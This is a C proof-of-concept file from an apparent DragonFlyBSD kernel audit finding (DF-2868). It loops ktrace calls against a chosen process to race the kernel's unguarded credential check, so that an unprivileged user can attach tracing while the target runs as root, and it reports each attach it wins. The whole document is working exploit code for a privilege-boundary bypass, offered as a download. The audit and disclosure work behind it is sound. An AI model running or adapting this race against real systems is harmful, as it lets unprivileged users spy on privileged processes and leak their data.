⬢ DragonFlyBSD Kernel Audit
DF-2868 / ktrace_race2.c
← back to finding ↓ download raw
/* DF-2868: unpriv tracer races ktrcanset's unguarded p_ucred read */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/kinfo.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <time.h>

static int
target_euid(pid_t pid, int *euid, int *ruid)
{
	int mib[4];
	struct kinfo_proc ki;
	size_t len = sizeof(ki);
	mib[0] = CTL_KERN; mib[1] = KERN_PROC; mib[2] = KERN_PROC_PID;
	mib[3] = (int)pid;
	if (sysctl(mib, 4, &ki, &len, NULL, 0) < 0 || len == 0)
		return -1;
	*euid = ki.kp_uid; *ruid = ki.kp_ruid;
	return 0;
}

int main(int argc, char **argv)
{
	pid_t target = (pid_t)atoi(argv[1]);
	int secs = argc > 2 ? atoi(argv[2]) : 60;
	setvbuf(stderr, NULL, _IONBF, 0);
	long attempts = 0, ok = 0, ok_root = 0, root_samples = 0;
	time_t t0 = time(NULL);
	while (time(NULL) - t0 < secs) {
		unlink("/tmp/kt.out");
		int fd = open("/tmp/kt.out", O_CREAT | O_RDWR, 0600);
		if (fd >= 0) close(fd);
		errno = 0;
		long r = syscall(45 /* SYS_ktrace */, "/tmp/kt.out",
				 0 /* KTROP_SET */, (int)~0U /* facs */,
				 (int)target);
		attempts++;
		if (r == 0) {
			ok++;
			int euid = -1, ruid = -1;
			if (target_euid(target, &euid, &ruid) == 0 && euid == 0) {
				ok_root++;
				fprintf(stderr, "[!!] ATTACH GRANTED while "
				    "target euid=0 ruid=%d - ktrcanset raced "
				    "the cred swap!\n", ruid);
			}
			syscall(45, NULL, 2 /* KTROP_CLEAR */, 0, (int)target);
		}
		int euid = -1, ruid = -1;
		if (target_euid(target, &euid, &ruid) == 0 && euid == 0)
			root_samples++;
	}
	fprintf(stderr, "[*] attempts=%ld attaches_ok=%ld ok_while_root=%ld "
	    "root_phase_samples=%ld\n", attempts, ok, ok_root, root_samples);
	unlink("/tmp/kt.out");
	if (ok_root > 0) return 2;
	return 0;
}